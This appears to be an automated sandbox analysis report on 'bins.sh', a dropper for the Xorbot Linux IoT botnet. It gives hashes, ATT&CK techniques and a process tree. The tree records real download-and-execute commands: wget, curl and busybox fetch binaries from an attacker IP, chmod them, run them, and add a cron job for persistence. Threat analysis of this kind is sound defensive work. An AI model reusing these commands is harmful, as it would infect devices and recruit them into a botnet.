xorbot | a527f457c05c52627d9ac88b3fb6f7dd65b7de796e8c1bab1d761c3dd2a83dc6

Analysis

max time kernel
146s
max time network
154s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
03-12-2024 02:11

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General

Target

bins.sh
Size

10KB
MD5

1da16902d7c5601131994e6c7188579b
SHA1

66658b1510c47b2293d64f6f29ffadfaac1ba126
SHA256

a527f457c05c52627d9ac88b3fb6f7dd65b7de796e8c1bab1d761c3dd2a83dc6
SHA512

c9959bb121b46e0ff62f2750ea6927810ae204a778e28ba2db6f9a2dee9b38296642c45af45fcb9f8f25c84402e45e50009c3c119db97b18d06ea84dda785fb4
SSDEEP

192:k2c41phAQq2Si/XdccYcXTOU1phAQkLG2Si/XU/YO:k2c41phAQq2Si/XdccYcXTOU1phAQkLC

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1982) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
743	chmod
736	chmod

Executes dropped EXE 2 IoCs

Processes:

OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1

ioc	pid	Process
/tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5	737	OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
/tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1	744	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1

Renames itself 1 IoCs

Processes:

p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1

pid	Process
745	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.OC5FtE	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1

description	ioc	Process
File opened for reading	/proc/784/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/947/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/996/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/822/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/1113/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/113/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/148/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/810/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/990/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/1000/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/1099/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/790/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/896/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/966/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/15/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/167/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/703/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/1039/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/1052/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/823/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/847/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/862/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/992/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/997/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/1068/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/749/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/786/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/860/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/1043/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/371/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/704/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/796/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/922/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/983/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/1086/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/74/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/800/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/802/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/977/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/1114/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/1122/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/10/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/826/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/909/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/1110/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/1030/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/859/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/929/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/19/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/843/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/934/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/777/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/791/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/829/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/1079/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/1/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/75/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/78/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/813/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/895/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/989/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/1075/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/1104/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
File opened for reading	/proc/1115/cmdline	p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

wget

pid	Process
792	wget

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxwgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5	wget
File opened for modification	/tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5	curl
File opened for modification	/tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5	busybox
File opened for modification	/tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1	wget
File opened for modification	/tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1	curl
File opened for modification	/tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:704
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:711
- /usr/bin/wget
  wget http://216.126.231.240/bins/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
  2⤵
  - Writes file to tmp directory
  PID:712
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
  2⤵
  - Writes file to tmp directory
  PID:727
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
  2⤵
  - Writes file to tmp directory
  PID:734
- /bin/chmod
  chmod 777 OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
  ./OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
  2⤵
  - Executes dropped EXE
  PID:737
- /bin/rm
  rm OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
  2⤵
  PID:739
- /usr/bin/wget
  wget http://216.126.231.240/bins/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
  2⤵
  - Writes file to tmp directory
  PID:740
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
  2⤵
  - Writes file to tmp directory
  PID:741
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
  2⤵
  - Writes file to tmp directory
  PID:742
- /bin/chmod
  chmod 777 p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
  ./p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:744
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:746
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:747
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:748
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:753
- /bin/rm
  rm p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
  2⤵
  PID:750
- /usr/bin/wget
  wget http://216.126.231.240/bins/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
  2⤵
  - System Network Configuration Discovery
  PID:792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/var/spool/cron/crontabs/tmp.OC5FtE

Filesize
210B

MD5
0fc55399028fd47435c60584e89df83a

SHA1
c58ed1ab95272e2f75605c060e8e5101cd6c3c1b

SHA256
93ac44267edd780ac1aec7d60e67714366ecc98245dc4b7d52aefaffc3a917d3

SHA512
c546f37636d25c74a838795534d0cc6b4af8143e9eb98331c9cd40722d7fab145b77dbc7ac195fc566141a497b724a462e40eeec3538d33fa1799e726ae7d18f

Download Submit